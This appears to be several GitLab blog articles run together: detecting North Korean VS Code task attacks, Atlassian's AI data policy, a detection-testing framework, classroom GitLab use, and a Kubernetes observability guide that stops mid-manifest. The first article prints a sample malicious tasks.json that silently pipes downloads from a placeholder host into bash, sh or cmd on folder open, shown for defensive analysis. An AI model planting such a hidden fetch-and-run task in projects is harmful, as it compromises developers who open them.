So, in parallel with the discovery of the North Korean tradecraft and associated Contagious Interview threat campaign, we developed custom controls to prevent similar malware campaigns, specifically those which use IDE attacks. In this article, we share those controls as well as the techniques we use to protect our customers, support the broader security community, and further thwart these malicious actors.

The threat intelligence

The North Korean tradecraft article focused on a broad set of attacks, techniques, and Indicators of Compromise (IOCs) that North Korean state actors are actively using to conduct both broad and targeted attacks. One of the attack paths noted was the use of Visual Studio Code tasks for malware distribution. The Contagious Interview threat campaign often relies on fake interview processes to convince their victims to download and open a code repository, enabling attack via VS Code tasks.

VS Code tasks are a mechanism designed to automate common jobs that developers want to run when opening a repository, such as linting, building, packaging, testing, or deploying software systems. Via a simple configuration file within the repo, tasks.json, developers can automatically run code whenever they open their repository. Trust must be granted to the repository for these tasks to run.

Contagious Interview’s pretexts often rely on malicious repositories, so pivoting to using VS Code tasks for code execution is a simple continuation of their pretext. The target is prompted to download and open the malicious repository in VS Code (often for code review purposes as part of an interview). Because the victims believe they are interviewing for a job, the victim is under heavy pressure to “trust” the interviewer’s workspace, enabling the malicious task to run without their knowledge.

One example of a malicious tasks.json file is shown below. It is fairly simple — it detects the OS and downloads the next stage of the malware for that platform, using a curl | bash structure. Domains included are placeholders and not actual IOCs. Detailed IOCs for these actors were shared in our previous blog post.

  "version": "1.0.8",
  "tasks": [
    {
      "label": "env",
      "type": "shell",
      "osx": {
        "command": "curl 'https://www.example[.]com/settings/mac?flag=8' | bash"
      },
      "linux": {
        "command": "wget -q0- 'https://www.example[.]com/settings/linux?flag=8' | sh"
      },
      "windows": {
        "command": "curl https://www.example[.]com/settings/windows?flag=8 | cmd"
      },
      "problemMatcher": [],
      "presentation": {
        "reveal": "never",
        "echo": false,
        "focus": false,
        "close": true,
        "panel": "dedicated",
        "showReuseMessage": false
      },
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]

This malicious code execution is then typically used to deploy infostealers, steal passwords and cryptocurrency, and ultimately establish persistence to abuse victims’ trusted accesses to corporate networks.

Once we understood how the threat actor was gaining initial code execution, we had a target for preventative measures to catch these attacks before GitLab workstations were targeted.

Multi-faceted detection and prevention

We always want to develop detective and preventative controls that are as “low level” as possible, since these types of detections are typically more difficult to bypass. Additionally, threat intelligence indicated that other projects that forked VS Code are also vulnerable to this malicious repository attack. So, instead of focusing specifically on a VS Code detection, we wanted to find the area “closest to the operating system” where this malicious code execution could be identified. This would allow our detection techniques to detect not only exploitation via VS Code tasks, but also attacks targeting using a VS Code fork or similar IDE written in Node that has background tasks.

Reviewing VS Code source, we identified that the node-pty.spawn() library call is used across the product when subprocesses need to be used. The node-pty library is incredibly popular, with over a million weekly downloads at time of writing. This library enables Node applications (including Electron applications such as VS Code) to fork subprocesses from a node context, and results in calls to its own binary, spawn-helper. When subprocesses are launched, spawn-helper is spawned as a child process of the Node application calling it.

After performing a Purple Team operation to emulate this specific attack path, we reviewed our Endpoint Detection and Response (EDR) telemetry to try to not only develop a strong detection for the emulated attack, but also to tune this detection to only alert on suspicious activity, and not on legitimate developer activity. We identified that spawn-helper is called in situations where VS Code wants to spawn tasks that occur in the background, without user visibility or interaction. Conversely, a Code Helper binary is called when new processes (such as the integrated Terminal) are launched in the foreground with user interaction.

This allows us to craft detections that only look for subprocesses spawned without the user’s knowledge, and avoid false positives that flag subprocesses a user might intentionally spawn while using their IDE.

As shown earlier, a commonly-seen malicious task contains commands that run a curl | <shell> from a task. Although curl | bash can be a legitimate way to install software like Homebrew, in our environment, it should never happen in the background without the user’s knowledge. This distinction allowed us to tune spawn-helper-based detections to not alert on every background task that ran, but to instead trigger only on behaviors that are uncommon and suspicious in our environment. Since implementing this detection technique, we have had no false positives, even though a large part of our organization uses VS Code daily.

Although this article has focused on detecting spawn-helper in your environment, this is only one of many layers of defense that you can implement in your organization to prevent and detect these IDE task-based attacks.

In addition to using EDR instrumentation to detect a malicious task at runtime, you can proactively harden your fleet against this type of attack by pushing global configs to disable task runs in VS Code. If that is too disruptive to your developers, you can also scan your environment to enumerate how often users use trusted workspaces and trusted workspace folders within their typical VS Code usage, and run education campaigns to help inform the company about the risks posed by this Contagious Interview attack path.

Summary

GitLab Security Operations works around the clock to protect our customers and our company. With our tightly coupled security teams, we are able to produce actionable threat intelligence, leverage that threat intel to inform adversary emulation operations, and ultimately develop technical and procedural prevention and detection techniques that protect our customers and company.

As VS Code tasks continue to receive visibility in the security community, it’s possible that other threat actors will attempt to use this attack path for their own ends. We hope that this small example of the work we do to protect GitLab and our customers against Advanced Persistent Threats can inspire others to do the same, and to join us in our continued mission to disrupt these threat actors.

Follow our innovation and research on our Security Labs site.

Atlassian's change is enabled by default for all cloud customers and affects roughly 300,000 organizations. For customers on the Free, Standard, and Premium tiers, metadata collection is mandatory and cannot be turned off. Only Enterprise-tier customers have the option to opt out. This policy change deserves a close read if your engineering, IT, and program management teams run on Atlassian because they are most exposed by this change — and least likely to have been consulted before it happened.

Although the underlying governance questions are the same for both Atlassian and GitHub's changes, the data at risk is different. Where GitHub's change concerned source code and developer interactions, Atlassian's reaches into project plans, internal documentation, workflow configurations, and operational metadata across Jira, Confluence, and the broader Atlassian stack. For organizations that rely on these tools as their system of record for how work gets planned and delivered, the implications run deep.

What changed and what it means for your data

Atlassian will collect two categories of information:

• Metadata: de-identified operational signals like story points, sprint dates, and SLA values, including data from its Teamwork Graph and connected third-party apps
• In-app content: user-generated material such as Confluence page content, Jira issue titles, descriptions, and comments

Atlassian says it will apply de-identification and aggregation before training. Collected data may be retained for up to seven years, with in-app data removed within 30 days of opt-out and models retrained within 90 days.

There are some exclusions: Customers using customer-managed encryption keys, Atlassian Government Cloud, Isolated Cloud, or those with HIPAA requirements are carved out from collection. But for the vast majority of Atlassian's cloud customer base, data collection will start unless you pay for the Enterprise tier and actively flip the switch.

This reverses Atlassian's prior stated position that customer data would not be used to train or improve AI services. Organizations that adopted Jira and Confluence to manage their most sensitive planning workflows, sprint boards, security tickets, incident postmortems, and internal documentation will soon be contributing that content to Atlassian's AI training pipeline, without ever being asked.

The governance gap in "opt-out by default"

Opt-out-by-default data collection for AI training is an emerging pattern across the software industry. It raises the same set of questions every time: How does this interact with existing data processing agreements? Does the vendor's definition of "metadata" match what your legal and security teams would consider non-sensitive data?

For many organizations, the answer to these questions is "we don't know."

When a vendor changes its data practices through a terms-of-service update, the burden falls on the customer to notice, evaluate the implications, and act within the window the vendor provides.

The mandatory nature of metadata collection on Free, Standard, and Premium tiers makes this more acute. The only exit is upgrading to Enterprise, which requires a minimum of 801 users and custom pricing that would represent a significant cost jump for teams that aren't there yet. Data protection, in other words, is now a purchasing decision.

The tiered structure also introduces a subtler problem. Metadata like story points, sprint velocity, SLA metrics, and task classifications may seem innocuous in isolation, but in aggregate they reveal project structure, team performance patterns, and delivery cadence. For organizations in competitive industries, that operational intelligence has real value, and "de-identified" does not necessarily mean "non-sensitive" once patterns are reconstructable at scale.

Why this matters more for Atlassian-stack organizations

In Atlassian-based organizations, Jira has been the center how teams plan, track, and deliver work. It’s the source of truth for sprint planning, bug tracking, release management, portfolio coordination, and cross-functional project execution.

In regulated industries like financial services, public sector and manufacturing, Jira and Confluence together hold sensitive operational data that may be subject to compliance requirements. The risk compounds for organizations that have expanded beyond Jira into the broader Atlassian ecosystem.

When you run Jira, Confluence, Bitbucket, and Bamboo together, the surface area of data now feeding into AI training spans your project plans, internal documentation, source code metadata, and CI/CD configurations — each of which security and compliance teams would want to review before sharing with a vendor's training pipeline.

Atlassian’s Teamwork Graph connectors add another dimension for customers who have integrated third-party tools, such as Slack, Figma, Google Drive, Salesforce, and ServiceNow, into their environment. Teamwork Graph connectors index relationship and activity signals from these connected apps, which means the metadata Atlassian collects will not be limited to what lives inside Atlassian products. For security and compliance teams accustomed to evaluating data flows on a per-vendor basis, this cross-platform reach complicates the assessment considerably.

Organizations that are already navigating Atlassian's push from Data Center and Server editions to the cloud face a compounding challenge. Adding default AI data collection to that migration path raises the stakes further: The question is no longer just "do we move to Atlassian Cloud?" but "do we move to Atlassian Cloud knowing our data will feed AI training unless we're on the most expensive tier?"

What regulated industries should be evaluating now

The compliance implications vary by sector, but the obligation to reassess is consistent.

In financial services, frameworks like SR 11-7 and DORA require documented, auditable oversight of third-party technology providers, including how those providers handle data. In the public sector, NIST 800-53 and FISMA make controlling where sensitive data flows a foundational requirement. In healthcare, HIPAA governs how patient-adjacent data is handled by third parties.

Across the board, a material change in a vendor's data practices, such as Atlassian moving from "we don't train on your data" to "we do, by default," triggers a documentation and risk reassessment obligation.

Institutions operating under the EU AI Act face an additional dimension: opt-out framing aligns with U.S. norms, while European regulators generally expect opt-in consent for data processing of this nature.

If your model risk or vendor management team documented Atlassian's data handling controls before this announcement, the question isn't whether this change triggers a reassessment obligation. It does. The question is whether your team can take action before August 17.

What to look for in your platform vendors

CTOs and CISOs across regulated industries need to adopt AI in a way they can explain to regulators, boards, and customers. Because of this, GitLab operates within the following set of principles:

Unconditional data commitments, not tier-dependent protections. Regulated organizations need to know, with specificity, what happens to their data. A commitment that varies by plan tier, or that requires action before a deadline, introduces exactly the kind of uncontrolled variable that keeps CISOs up at night.

Transparency and auditability. Model risk management frameworks require organizations to understand the AI systems they deploy, including the training data and third parties involved. Vendors who cannot answer these questions clearly create documentation risk.

Separation between customer data and vendor AI training. When a platform vendor trains models on customer usage data, workflows and operational patterns become inputs to a system that also serves competitors. For organizations where project structure or delivery cadence represents competitive advantage, that exposure matters.

How GitLab's approach differs

GitLab doesn't train on customer data — at any tier, full stop. AI vendors powering GitLab Duo features are contractually prohibited from using customer inputs or outputs for their own purposes, a commitment GitLab CEO Bill Staples has consistently reiterated.

GitLab's AI Transparency Center documents exactly which models power which features, how data is handled, and what vendor commitments are in place. GitLab's AI Continuity Plan documents how vendor changes are managed, including any material changes to how AI vendors treat customer data. For institutions managing third-party AI risk under DORA or similar frameworks, vendor continuity and concentration are active governance concerns, and having a documented plan for both is part of what responsible AI tooling looks like.

For organizations that require AI processing to stay within their own infrastructure, GitLab Duo Agent Platform is available with GitLab Self-Managed deployments, including support for integration with self-hosted AI models. This means prompts and code never leave the customer's environment. GitLab also provides IP indemnification for Duo-generated output, with no filters required and no activation steps needed. Where your data lives remains your choice, no matter your deployment model or subscription tier.

Whether your organization stays on Atlassian or begins evaluating alternatives, the conversation about who controls your data and how it gets used should be happening now. The August 17 deadline is approaching, but you still have time to try GitLab Ultimate with Duo Agent Platform for free today.

At GitLab, the Signals Engineering team tests detections by simulating real malicious behavior on infrastructure we own to validate that our detections fire end-to-end — from the log source, through ingestion, into the SIEM, and all the way through our security orchestration, automation, and response (SOAR) alert routing. This is the approach taken by commercial Breach and Attack Simulation (BAS) tools, but those tools are expensive, generic, and not tailored to our specific detection stack. So we built our own fully automated framework we named Weekly Attack Testing for Continuous Health, or WATCH.

In this article, you'll learn why we developed this framework, how it works, and how to use it in your environment.

A gap in detection validation

With log schema changes, SIEM updates, pipeline misconfigurations, etc. there are a million ways for your detections to fail silently and only one way for them to fire as expected. When faced with these odds, the conclusion is obvious: “Let’s trigger some old detections!” This raises the next question, however, of “How exactly does one trigger detections?” and “How often?”

One way to trigger detections is through the synthetic approach of reintroducing logs into your SIEM that simulate malicious behavior. Then, you wait to see if your detection rule catches the fake issue and triggers an alert. This approach, aside from failing to prove the detection works in a “real world” scenario, doesn’t validate one of the most error-prone stages of the alert lifecycle, log ingestion (i.e. from log source to SIEM).

We previously wrote about how our GitLab Universal Automated Response and Detection (GUARD) system automates detection creation and deployment through a detections as code (DaC) pipeline and how alerts are routed and triaged through our SOAR. Our DaC pipelines solve the problem of validating that a detection can deploy without errors, but it doesn't answer the question of whether that detection will actually fire when the behavior it targets occurs in the wild.

WATCH closes that gap. It's the continuous validation layer that gives us confidence that our detections are working.

How WATCH works

At a high level, WATCH works by executing scripted attack simulations in our staging environment, and then verifying that the expected alerts propagate through our entire security monitoring stack: our SIEM for detection rules, our SOAR for alert routing, and ultimately the dashboards our team uses to monitor detection health.

The lifecycle of a WATCH test looks like this:

1. Scheduling: Every week, a scheduled GitLab CI/CD pipeline discovers all active tests and distributes them into randomized time slots across the week. Randomization is important; we don't want tests firing at predictable times, which would make it too easy to distinguish test activity from real threats and could mask timing-sensitive issues with our detections.
2. Heads-up notification: Before a test runs, WATCH notifies our SOAR via a dedicated "WATCH Heads Up" story, registering the detections it expects to trigger. This creates trackable records so our SOAR knows what's coming.
3. Execution: The test runs its simulated malicious behavior. For example, it resets an admin account password or makes suspicious API calls against the staging environment.
4. Detection: The SIEM processes the activity logs from staging and (hopefully) fires the corresponding detection rules.
5. Correlation: As alerts arrive in our SOAR, an "Is this a WATCH Test?" check determines whether each alert corresponds to a registered test by matching on three factors: the time window between the test run and the alert, the actor identity (IP or username), and the rule ID of the detection that fired. This is what prevents WATCH-generated alerts from being escalated as real incidents to SIRT, while still validating the full pipeline.
6. Verification: A follow-up pipeline stage checks whether all expected detections fired, updates the detection status metadata, and deploys updated results to our GitLab Pages dashboard. If any detection fails to fire, a notification is sent to our team's Slack channel.

Using WATCH with GitLab CI/CD

WATCH leverages GitLab CI/CD as its orchestration backbone across three pipeline stages.

The schedule_pipelines stage runs weekly and handles test distribution. It discovers all active tests, bins them into groups, and creates scheduled pipelines set to run at random times throughout the week. Each scheduled pipeline is given a TESTS_TO_RUN variable specifying which tests it should execute.

The run_tests stage is where the actual attack simulation happens. It executes the tests assigned to that pipeline run, saves execution statistics to detection_status.json, and records SOAR record IDs so alert correlation can happen downstream.

The pages stage handles verification and reporting. It queries our SOAR to confirm that alerts were generated and properly routed, updates detection metadata with the verification results, and deploys the GitLab Pages dashboard with the latest test outcomes.

Below is a template GitLab CI/CD gitlab-ci.yml configuration file for the WATCH pipeline:

spec:
  inputs:
    weekly_scheduling:
      type: boolean
      default: false
      description: "Enable weekly scheduling of detection tests."
    update_pages:
      type: boolean
      default: false
      description: "For triggering the update of GitLab Pages dashboard."

---

# Specify the Docker image to use for the job
image: python:3.12

stages:
  - schedule_pipelines
  - run_tests
  - pages

# Job to manage scheduled pipelines (runs when weekly_scheduling input is true)
manage_scheduled_pipelines:
  stage: schedule_pipelines
  script:
    - pip install -r requirements.txt
    - python scripts/manage_scheduled_pipelines.py
  rules:
    - if: $TESTS_TO_RUN == null && $CI_PIPELINE_SOURCE == "schedule" && [[ inputs.weekly_scheduling ]] == true
      when: on_success
    - when: never

# Job to run detection tests, save tines_record_id to detection_status.json, and commit
run_detection_tests:
  stage: run_tests
  script:
    - pip install -r requirements.txt
    - python main.py --prod --save-stats --scheduled-tests
  rules:
    - if: $TESTS_TO_RUN
      when: on_success
    - when: never

# Job to verify alerts, update detection_status.json, commit, and deploy pages
pages:
  stage: pages
  script:
    - pip install -r requirements.txt
    - python scripts/verify_and_update_detections.py --tines-api-key ${TINES_API_KEY}
    - mkdir -p public/data
    - cp detection_status.json public/data/
    - cp -r static/* public/
  pages: true  # Required for GitLab 17.9+ to trigger Pages deployment
  artifacts:
    paths:
      - public
  rules:
    - if: $TESTS_TO_RUN == null && [[ inputs.update_pages ]] == true
      when: on_success
    - when: never

How we write tests with GitLab Duo

One of the design priorities for WATCH was making it easy for anyone on the Signals Engineering or SIRT team to add new tests. The framework provides a BaseSecurityTest abstract class that handles all the boilerplate tasks — test ID generation, actor identity management, SOAR coordination — so that test authors only need to focus on three things: setting up the test environment, executing the simulated malicious behavior, and cleaning up afterward.

class BaseSecurityTest(ABC):

    def __init__(self, config = {}, test_id: Optional[str] = None):
        self.test_id = test_id or str(uuid.uuid4())
        self.test_name = self.__class__.__name__
        self.expected_detections = {}
        self.actor_id = config.get('gitlab', {}).get(
            'default_actor_id',
            "sirt_detection_test_user_" + self.test_id[:8]
        )
        self.isActive = True
        self.test_run_time = 300
        self.config = config

    @abstractmethod
    def setup(self) -> bool:
        """Prepare test environment and resources"""

    @abstractmethod
    def execute(self) -> Dict[str, Any]:
        """Execute the malicious behavior simulation"""

    @abstractmethod
    def cleanup(self) -> bool:
        """Clean up test environment and resources"""

The key configuration is the expected_detections dictionary, which maps SIEM rule names of the detections we expect to trigger to the actor identity and expected alert arrival time. A new test is just a Python file in the tests/ directory that subclasses BaseSecurityTest, defines its simulated behavior, and declares which detections it expects to trigger. The test runner automatically discovers it on the next scheduled run.

This low-friction interface matters because detection testing only works as a practice if the team actually writes tests. If adding a test requires understanding the full pipeline internals, nobody will do it. The simple contract to implement setup, execute, and cleanup, and declare your expected detections, also makes WATCH tests a great candidate for GitLab Duo, GitLab's AI assistant. Give Duo the base class and a prompt like “Make me a test that clones lots of projects from a target group” or “Make me a test that accesses all the CI variables in this project using GraphQL,” or even “Rename all these projects to use the same naming scheme."" Duo can then scaffold a working WATCH test that plugs directly into the framework. This lowers the barrier even further: An engineer can go from "I want to test this detection" to a running test with Duo doing most of the implementation work.

Pro Tip: To make GitLab Duo even more effective, I used Duo Agent Skills, which is perfect for defining standards and procedures for routine work like writing tests. In our project directory there is a folder called skills/WATCH-test-creator with a SKILL.md outlining what a good test looks like, helper functions the test can use, and what the project is for. This file is read immediately after a prompt like the ones above are entered, which makes having to constantly remind Duo what it is you’re doing and how to do it no longer necessary. Most importantly, it makes the results consistent and higher quality! Here is a snippet of that file:

---
name: WATCH-test-creator
description: Create WATCH (Orchestrated Offensive Penetration Simulator) security detection tests that simulate malicious behavior on GitLab infrastructure to validate SIEM detection rules and alerting pipelines.
---

## WATCH Test Creator

You are an expert at writing security detection tests for the WATCH framework. WATCH tests simulate malicious activities on GitLab-owned infrastructure to verify that the SecOps security monitoring stack (Elastic SIEM, Tines SOAR, alerting rules) properly detects and responds to threats.

### Architecture Overview
```
Project Root
├── core/
│   ├── base_test.py          # Abstract base class all tests inherit from
│   ├── test_runner.py         # Auto-discovers and executes tests
│   └── webhook_manager.py     # Tines/SOAR notification integration
├── tests/
│   ├── gitlab/                # GitLab-specific detection tests
│   └── gcp/                   # GCP-specific detection tests
├── utils/
│   ├── gitlab_helper.py       # GitLab API wrapper (users, projects, tokens, webhooks, OAuth)
│   └── crypto_utils.py        # Password generation utility
├── config/
│   ├── settings.py            # Config loader (reads YAML + GITLAB_ADMIN_PAT env var)
│   └── environments/
│       ├── dev.yaml           # Local GDK config
│       └── prod.yaml          # Production staging.gitlab.com config
├── main.py                    # Entry point with CLI args
└── detection_status.json      # Test results and detection metadata
```

Improved visibility through test dashboards

WATCH also deploys two interactive dashboards via GitLab Pages that give the team real-time visibility into detection health.

• The Detection Status Dashboard provides an overview of all detection rules and their current test status, including metrics like how many times each detection has fired, its current pass/fail state, and how long the detection has been active. The table is filterable and sortable, so engineers can quickly identify which detections need attention.
• The Test Runs Dashboard offers a detailed view of individual test executions, grouped by test ID with detection coverage breakdowns. It includes a timeline visualization showing alert propagation times to help us see how long it took from test execution to alert arrival and direct links to the corresponding alerts in our SIEM.

These dashboards replaced what was previously a manual process of digging through pipeline logs and SIEM queries to understand whether our detections were healthy.

Like the rest of GUARD, WATCH leans heavily on GitLab as its platform:

• GitLab CI/CD Pipelines and Scheduled Pipelines orchestrate the entire test lifecycle from weekly scheduling through execution and dashboard deployment.
• Pipeline inputs allow stages to be triggered independently, so we can re-run just the verification step or just the dashboard update without re-executing all tests.
• CI/CD Variables securely store the API keys needed for Tines and GitLab staging access.
• GitLab Pages hosts the WATCH dashboards with zero additional infrastructure, which means no separate hosting to manage, no extra deployment tooling.
• Because tests are just Python files in a GitLab project, they benefit from version control, merge request reviews, and code ownership the same way our detection rules do through DaC.

WATCH helps us stay proactive

Building WATCH has shifted our team's relationship with detection quality from reactive to proactive. Before WATCH, a broken detection would only surface when an incident occurred and the expected alert was missing; that’s the worst possible time to discover a gap. Now, we get regular updates on the health of our detections and know when they break before something actually comes up. This gives peace of mind knowing that as we develop new detections, they won’t be broken and then forgotten.

Another benefit of WATCH is recording tactics, techniques, and procedures (TTPs) that were used by our red team in performing flash operations. Once we’ve implemented detections and conducted the retroactive analysis of a pentest operation, WATCH can be used to replay the TTPs used to validate these detections. In essence, WATCH makes detection atomic tests replayable TTPs.

Try WATCH

If you're running a SOC and relying on SIEM detections to catch threats, the question isn't whether your detections will break, it's whether you'll know when they do. You don't need a commercial BAS platform to start answering that question. A sandbox environment, a CI/CD pipeline, and a framework for scripting attack simulations can get you a long way.

You can try building your own detection testing framework by signing up for a free trial of GitLab Ultimate.

The GitLab for Education program provides qualifying institutions with free access to GitLab Ultimate, enabling instructors to build professional-grade workflows that mirror real-world software development environments. In this article, you'll learn how Stephen G. Dame, a lecturer in the Computing and Software Systems department at the University of Washington, Bothell, uses simple workflows in GitLab to manage everything from course materials to student feedback across multiple classes.

From aerospace to academia: Bringing GitLab to the classroom

Dame came to academia with years of experience as a chief software engineer at Boeing Commercial Airplanes, where GitLab was used for aerospace projects. As an adjunct professor, he became an early advocate for GitLab within the university, joining the GitLab for Education program to access the full feature set needed to run structured, scalable course workflows.

"GitLab provides the greatest way to organize multiple classes, student assignments, lectures, and code samples through the use of Groups and Subgroups, which I found to be unique to GitLab compared to other repository platforms."

• Stephen G. Dame, University of Washington, Bothell

Set up groups: Build the right structure before writing a line of code

The foundation of an effective GitLab-based course is a well-planned group hierarchy. GitLab's Groups and Subgroups allow instructors to model the natural structure of a university department institution, course, and role with precise, inheritable permissions at every level.

Dame's structure places the university at the root (UWTeaching), with each course occupying its own subgroup (e.g. css430). Within each course sit repositories for lecture-materials and code, alongside dedicated Subgroups for students and graders. Instructor materials remain private, while student and grader subgroups are configured with controlled permissions so that assignment briefs and solutions are visible only to the right people.

Permissions cascade downward through the hierarchy via Manage > Members, allowing Dame to add students to a course's students subgroup with Reporter access and an expiration date tied to the end of the academic quarter. Students can clone and pull from assignment repositories but cannot push — keeping solution code firmly under instructor control.

Students are guided to set up SSH keys across all their working environments (local machines, cloud shells, virtual machines) so they can clone repositories and receive weekly updates via git pull. They copy relevant code into their own private repositories to manage their own version history.

Tip for large classes: For larger cohorts, adding students by hand is impractical. GitLab's REST API lets you automate subgroup creation and membership from a list of usernames. Below is a sample Python script that handles this:

    import gitlab
    from datetime import datetime

    # Connect to your GitLab instance
    gl = gitlab.Gitlab('https://gitlab.com', private_token='YOUR_PRIVATE_TOKEN')

    # Target parent group ID (e.g., the ID for "css430 > students")
    parent_group_id = 12345678

    # Set expiration: typically the beginning of the next month after quarter end
    expiry_date = '2025-01-01'

    # List of collected student usernames
    student_list = ['alice_css430', 'bob_css430', 'carol_css430', 'dave_css430', 'eve_css430']

    for username in student_list:
        try:
            # 1. Create a personal subgroup for the student
            subgroup = gl.groups.create({
                'name': username,
                'path': username,
                'parent_id': parent_group_id,
                'visibility': 'private'
            })

            # 2. Add student to the new subgroup with Expiration
            user = gl.users.list(username=username)[0]
            subgroup.members.create({
                'user_id': user.id,
                'access_level': gitlab.const.REPORTER_ACCESS,
                'expires_at': expiry_date
            })
            print(f"Success: Subgroup created and student added for {username}")
        except Exception as e:
            print(f"Error processing {username}: {e}")

There is also an open source project that automates class management published by GitLab that provides additional tooling for this workflow.

Give feedback where the work actually lives

Once the structure is in place, the feedback workflow is where GitLab's value becomes most apparent to students. Dame asks students to submit assignments by opening a merge request in their repository. This gives instructors an immediate, clean diff of everything the student has written. Instructors can click any line of code and leave an inline comment — not just flagging what is wrong, but explaining why, and pointing to what to look at next. Students receive this feedback in direct context with their code, which is far more actionable than a comment at the bottom of a submitted document.

Join GitLab for Education

Setting up your first GitLab assignment takes some initial effort, but once the structure is in place it largely runs itself. The real payoff goes beyond organization: Students graduate having worked daily in an environment that mirrors professional software development, building habits around version control and code review rather than learning them as abstract concepts.

If you are just getting started, keep it simple. Begin with a single course group, one assignment template, and a basic pipeline. The structure will grow naturally alongside your confidence with the platform.

Make sure to sign up for GitLab for Education so that you and your students can access all top-tier features, including unlimited reviewers on merge requests, additional compute minutes, and expanded storage.

Apply to the GitLab for Education program today.

To help GitLab customers maximize their platform investments, we developed the GitLab CI/CD Observability solution as part of our Platform Excellence program, which transforms raw pipeline metrics into actionable operational insights.

A leading financial services organization partnered with GitLab's customer success architect to gain visibility into their GitLab self-managed deployment. Together, we implemented a containerized observability solution combining the open-source gitlab-ci-pipelines-exporter with enterprise-grade Prometheus and Grafana infrastructure.

In this article, you'll learn the challenges they faced managing pipelines at scale and how GitLab CI/CD Observability addressed them with a practical, end-to-end implementation.

The challenge: Measuring CI/CD performance

Before implementing any observability solution, define your measurement landscape:

• What metrics matter? Pipeline duration, job success rates, queue times, runner utilization
• Who needs visibility? Developers, DevOps engineers, platform teams, leadership
• What decisions will this drive? Infrastructure investment, bottleneck remediation, capacity planning

Solution architecture: A full set of dashboards for observability

Once deployed, the observability stack provides a set of Grafana dashboards that give real-time and historical visibility into your CI/CD platform. A typical deployment includes:

• Pipeline Overview Dashboard: A top-level view showing total pipeline runs, success/failure rates over time (as stacked bar or time-series charts), and average pipeline duration trends. Panels use color-coded status indicators (green for success, red for failure, amber for cancelled) so platform teams can spot degradation at a glance.
• Job Performance Dashboard: Drill-down panels showing individual job duration distributions (histogram), the top 10 slowest jobs by average duration, and job failure heatmaps by project and stage. This is where teams identify specific bottleneck jobs worth optimizing.
• Runner & Infrastructure Dashboard: Combines Node Exporter host metrics (CPU, memory, disk) with pipeline queue-time data to correlate infrastructure saturation with pipeline wait times. Useful for capacity planning decisions such as scaling runner pools or upgrading instance sizes.
• Deployment Frequency Dashboard: Tracks deployment count and deployment duration over time per environment, aligned with DORA metrics. Helps engineering leadership assess delivery throughput and environment drift (commits behind main).

Each dashboard is provisioned automatically via Grafana's file-based provisioning, so it deploys consistently across environments. The dashboards can be further customized with Grafana variables to filter by project, ref/branch, or time range.

The solution requires two exporters:

• Pipeline Exporter: Collects CI/CD metrics via GitLab API (pipeline duration, job status, deployments)
• Node Exporter: Collects host-level metrics (CPU, memory, disk) for infrastructure correlation

Prerequisites:

• GitLab Self-Managed Version 18.1+
• Container orchestration platform: A Kubernetes cluster (recommended for enterprise deployments) or a container runtime such as Docker/Podman for smaller scale or proof-of-concept environments. The primary deployment guide below targets Kubernetes; a Docker Compose alternative is provided in the appendix for local testing and evaluation
• GitLab Personal Access Token (read_api scope)

Kubernetes deployment (recommended)

For enterprise environments, deploy each component as a separate Deployment within a dedicated namespace. This approach integrates with existing cluster infrastructure, secrets management, and network policies.

1. Create namespace and secret

kubectl create namespace gitlab-observability

# Create the GitLab token secret (see Secrets Management section below
# for enterprise-grade approaches using external secret operators)
kubectl create secret generic gitlab-token \
  --from-literal=token=glpat-xxxxxxxxxxxx \
  -n gitlab-observability

2. Deploy the Pipeline Exporter

# exporter-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: gitlab-ci-pipelines-exporter
  namespace: gitlab-observability
spec:
  replicas: 1
  selector:
    matchLabels:
      app: gitlab-ci-pipelines-exporter
  template:
    metadata:
      labels:
        app: gitlab-ci-pipelines-exporter
    spec:
      containers:
        - name: exporter
          image: mvisonneau/gitlab-ci-pipelines-exporter:latest
          ports:
            - containerPort: 8080
          env:
            - name: GCPE_GITLAB_TOKEN
              valueFrom:
                secretKeyRef:
                  name: gitlab-token
                  key: token
            - name: GCPE_CONFIG
              value: /etc/gcpe/config.yml
          volumeMounts:
            - name: config
              mountPath: /etc/gcpe
      volumes:
        - name: config
          configMap:
            name: gcpe-config
---
apiVersion: v1
kind: Service
metadata:
  name: gitlab-ci-pipelines-exporter
  namespace: gitlab-observability
spec:
  selector:
    app: gitlab-ci-pipelines-exporter
  ports:
    - port: 8080
      targetPort: 8080

3. Deploy Node Exporter (DaemonSet)

# node-exporter-daemonset.yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-exporter
  namespace: gitlab-observability
spec:
  selector:
    matchLabels:
      app: node-exporter
  template:
    metadata:
      labels:
        app: node-exporter
    spec:
      containers:
        - name: node-exporter
          image: prom/node-exporter:latest
          ports:
            - containerPort: 9100
---
apiVersion: v1
kind: Service
metadata:
  name: node-exporter
  namespace: gitlab-observability
spec:
  selector:
    app: node-exporter
  ports:
    - port: 9100
      targetPort: 9100

4. Deploy Prometheus

# prometheus-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: prometheus
  namespace: gitlab-observability
spec:
  replicas: 1
  selector:
    matchLabels:
      app: prometheus
  template:
    metadata:
      labels:
        app: prometheus
    spec:
      containers:
        - name: prometheus
          image: prom/prometheus:latest
          ports:
            - containerPort: 9090
          volumeMounts:
            - name: config
              mountPath: /etc/prometheus
      volumes:
        - name: config
          configMap:
            name: prometheus-config
---
apiVersion: v1
kind: Service
metadata:
  name: prometheus
  namespace: gitlab-observability
spec:
  selector:
    app: prometheus
  ports:
    - port: 9090
      targetPort: 9090

5. Deploy Grafana

The Grafana deployment below starts with authentication disabled (GF_AUTH_ANONYMOUS_ENABLED: true) for initial setup convenience.

This setting allows anyone with network access to view all dashboards without logging in. For production deployments, remove this variable or set it to false and configure a proper authentication provider (LDAP, SAML/SSO, or OAuth) to restrict access to authorized users.

# grafana-deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: grafana
  namespace: gitlab-observability
spec:
  replicas: 1
  selector:
    matchLabels:
      app: grafana
  template:
    metadata:
      labels:
        app: grafana
    spec:
      containers:
        - name: grafana
          image: grafana/grafana:10.0.0
          ports:
            - containerPort: 3000
          env:
            # REMOVE or set to 'false' for production.
            # When 'true', any user with network access can
            # view dashboards without authentication.
            - name: GF_AUTH_ANONYMOUS_ENABLED
              value: 'true'
          volumeMounts:
            - name: dashboards-provider
              mountPath: /etc/grafana/provisioning/dashboards
            - name: datasources
              mountPath: /etc/grafana/provisioning/datasources
            - name: dashboards
              mountPath: /var/lib/grafana/dashboards
      volumes:
        - name: dashboards-provider
          configMap:
            name: grafana-dashboards-provider
        - name: datasources
          configMap:
            name: grafana-datasources
